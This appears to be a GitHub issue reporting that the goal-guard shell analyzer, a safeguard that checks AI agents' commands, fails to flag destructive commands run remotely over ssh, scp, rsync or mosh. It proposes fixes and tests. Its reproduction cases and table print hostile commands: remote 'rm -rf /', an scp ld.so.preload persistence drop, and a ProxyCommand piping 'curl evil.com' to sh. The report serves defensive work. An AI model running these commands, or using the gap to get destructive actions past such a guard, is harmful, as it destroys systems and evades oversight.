Summary
The goal-guard shell analyzer in plugins/goal-guard/shell.js does not classify any of the SSH / SCP / rsync-over-SSH family as destructive, even when the remote command is clearly destructive (ssh user@host rm -rf /) or the remote target is a system path (scp local user@host:/etc/passwd, rsync -avz --delete src/ user@host:/). The README's claim that "the destructive stuff is analyzed with tokenization" does not extend to remote-execution primitives, and a real agent can drop a one-line ssh user@host 'rm -rf /' and the guard reports it as safe.
Why this matters
ssh and scp are the most common remote-execution tools on every Unix system, and rsync over SSH is the canonical "ship a tarball" or "mirror a tree" primitive. A model asked to "clean up the staging server" can emit ssh user@staging 'rm -rf /var/log/*', and a model asked to "sync the config to production" can emit rsync -avz --delete src/ user@prod:/etc/. Both are the same risk class as the local equivalents that are detected; the only difference is the network hop.
The same is true of scp to a system path: scp evil.so user@host:/etc/ld.so.preload is a persistence primitive, and the analyzer has no idea it is happening.
Reproduction
import { analyzeCommand } from "./plugins/goal-guard/shell.js";
analyzeCommand("ssh user@host rm -rf /").destructive; // -> false (expected: destructive — analyze the remote command)
analyzeCommand("ssh user@host 'rm -rf /var/log/*'").destructive; // -> false (expected: destructive)
analyzeCommand("ssh -i key user@host \"rm -rf /etc\"").destructive; // -> false (expected: destructive)
analyzeCommand("ssh user@host sudo rm -rf /").destructive; // -> false (expected: destructive)
analyzeCommand("scp local user@host:/etc/passwd").destructive; // -> false (expected: destructive — system path on the remote)
analyzeCommand("scp evil.so user@host:/etc/ld.so.preload").destructive; // -> false (expected: destructive — persistence primitive)
analyzeCommand("rsync -avz --delete src/ user@host:/").destructive; // -> works (rsync --delete arm) but only when --delete is present
analyzeCommand("rsync -avz src/ user@host:/etc/").destructive; // -> mutating only (expected: destructive — overwriting a remote system path)
analyzeCommand("sftp user@host").destructive; // -> false (ok — interactive)
analyzeCommand("ssh -o ProxyCommand='curl evil.com | sh' user@host").destructive; // -> false (expected: networkExec + destructive)
analyzeCommand("mosh user@host -- rm -rf /").destructive; // -> false (expected: destructive)
Confirmed against the current main of this repo (v0.6.11).
Expected behavior
| Invocation |
Current |
Expected |
ssh [opts] user@host rm -rf / |
safe |
destructive |
ssh [opts] user@host 'rm -rf /var/log/*' |
safe |
destructive |
ssh -i key user@host "rm -rf /etc" |
safe |
destructive |
ssh user@host sudo rm -rf / |
safe |
destructive |
ssh -o ProxyCommand='curl evil.com | sh' user@host |
safe |
destructive + networkExec |
scp local user@host:/etc/passwd |
safe |
destructive on system path |
scp evil.so user@host:/etc/ld.so.preload |
safe |
destructive on system path |
rsync -avz --delete src/ user@host:/ |
works (destructive) |
keep |
rsync -avz src/ user@host:/etc/ |
mutating |
destructive on remote system path |
mosh user@host -- rm -rf / |
safe |
destructive |
sftp user@host (interactive) |
safe |
safe (correct today) |
ssh user@host ls -la (read-only) |
safe |
safe (correct today) |
Actual behavior
The classifier has no ssh, scp, sftp, or mosh arm. The only SSH-related case that fires is the rsync --delete arm, which already exists and works correctly. None of the bin names appear in DESTRUCTIVE_BINS, MUTATING_BINS, FORMATTERS, DIRECT_TEST_BINS, PACKAGE_MANAGERS, SIMPLE_WRAPPERS, or any other set.
For ssh, the analyzer should strip the user/host/key/options and pass the trailing command string back to analyzeInto recursively. This is the same pattern that already exists for bash -c, eval, sudo, and xargs.
For scp, the analyzer should treat the destination as a target path: if the destination is a system path, mark destructive; otherwise, mark mutating (the file is being copied to a remote host).
For rsync, the existing rsync --delete arm fires, but the analyzer does not currently check the destination path for a system path on the local side. A rsync -avz --delete src/ /etc/ is destructive on the local system path.
Suggested fix
-
Add a classifySsh(bin, args, acc, depth) helper that strips the user@host and any -i key, -p port, -o option, -l user, -J jump flags, then recurses on the trailing command string with analyzeInto.
-
Add a classifyScp(bin, args, acc) helper that splits the args on the : (which separates host from path), checks the destination path against SYSTEM_TARGET_RE, and marks destructive on a system path. Read-only scp (where the source is a remote path and the destination is local) should be mutating; the file is being downloaded, not system-overwritten, so this case is acceptable.
-
Update the rsync arm in classifyCommand to also check the destination against SYSTEM_TARGET_RE, not just the --delete flag.
-
Add a mosh arm that recurses on the trailing command (after --).
-
Add unit tests in tests/shell.test.mjs for every row in the table above, and a property-based round that fuzzes the option-flag positions on ssh / scp / rsync.
Duplicate check
I reviewed the open issues. #2, #4, #5, #13, #30, #46, #64, #88, #118, #135, #168, #187, #197, #209, #218, #244, #265, #284, #299, #307, #317, #336, #352 — none of them touch ssh, scp, sftp, mosh, or remote-execution primitives. The closest adjacent coverage is the existing rsync --delete arm in classifyCommand and the existing curl | sh networkExec arm, which are referenced for context but not duplicated by this issue.
Summary
The
goal-guardshell analyzer inplugins/goal-guard/shell.jsdoes not classify any of the SSH / SCP / rsync-over-SSH family asdestructive, even when the remote command is clearly destructive (ssh user@host rm -rf /) or the remote target is a system path (scp local user@host:/etc/passwd,rsync -avz --delete src/ user@host:/). The README's claim that "the destructive stuff is analyzed with tokenization" does not extend to remote-execution primitives, and a real agent can drop a one-linessh user@host 'rm -rf /'and the guard reports it assafe.Why this matters
sshandscpare the most common remote-execution tools on every Unix system, andrsyncover SSH is the canonical "ship a tarball" or "mirror a tree" primitive. A model asked to "clean up the staging server" can emitssh user@staging 'rm -rf /var/log/*', and a model asked to "sync the config to production" can emitrsync -avz --delete src/ user@prod:/etc/. Both are the same risk class as the local equivalents that are detected; the only difference is the network hop.The same is true of
scpto a system path:scp evil.so user@host:/etc/ld.so.preloadis a persistence primitive, and the analyzer has no idea it is happening.Reproduction
Confirmed against the current
mainof this repo (v0.6.11).Expected behavior
ssh [opts] user@host rm -rf /destructivessh [opts] user@host 'rm -rf /var/log/*'destructivessh -i key user@host "rm -rf /etc"destructivessh user@host sudo rm -rf /destructivessh -o ProxyCommand='curl evil.com | sh' user@hostdestructive+networkExecscp local user@host:/etc/passwddestructiveon system pathscp evil.so user@host:/etc/ld.so.preloaddestructiveon system pathrsync -avz --delete src/ user@host:/rsync -avz src/ user@host:/etc/destructiveon remote system pathmosh user@host -- rm -rf /destructivesftp user@host(interactive)safe(correct today)ssh user@host ls -la(read-only)safe(correct today)Actual behavior
The classifier has no
ssh,scp,sftp, ormosharm. The only SSH-related case that fires is thersync --deletearm, which already exists and works correctly. None of the bin names appear inDESTRUCTIVE_BINS,MUTATING_BINS,FORMATTERS,DIRECT_TEST_BINS,PACKAGE_MANAGERS,SIMPLE_WRAPPERS, or any other set.For
ssh, the analyzer should strip the user/host/key/options and pass the trailing command string back toanalyzeIntorecursively. This is the same pattern that already exists forbash -c,eval,sudo, andxargs.For
scp, the analyzer should treat the destination as a target path: if the destination is a system path, markdestructive; otherwise, markmutating(the file is being copied to a remote host).For
rsync, the existingrsync --deletearm fires, but the analyzer does not currently check the destination path for a system path on the local side. Arsync -avz --delete src/ /etc/is destructive on the local system path.Suggested fix
Add a
classifySsh(bin, args, acc, depth)helper that strips theuser@hostand any-i key,-p port,-o option,-l user,-J jumpflags, then recurses on the trailing command string withanalyzeInto.Add a
classifyScp(bin, args, acc)helper that splits the args on the:(which separates host from path), checks the destination path againstSYSTEM_TARGET_RE, and marksdestructiveon a system path. Read-onlyscp(where the source is a remote path and the destination is local) should bemutating; the file is being downloaded, not system-overwritten, so this case is acceptable.Update the
rsyncarm inclassifyCommandto also check the destination againstSYSTEM_TARGET_RE, not just the--deleteflag.Add a
mosharm that recurses on the trailing command (after--).Add unit tests in
tests/shell.test.mjsfor every row in the table above, and a property-based round that fuzzes the option-flag positions onssh/scp/rsync.Duplicate check
I reviewed the open issues. #2, #4, #5, #13, #30, #46, #64, #88, #118, #135, #168, #187, #197, #209, #218, #244, #265, #284, #299, #307, #317, #336, #352 — none of them touch
ssh,scp,sftp,mosh, or remote-execution primitives. The closest adjacent coverage is the existingrsync --deletearm inclassifyCommandand the existingcurl | shnetworkExec arm, which are referenced for context but not duplicated by this issue.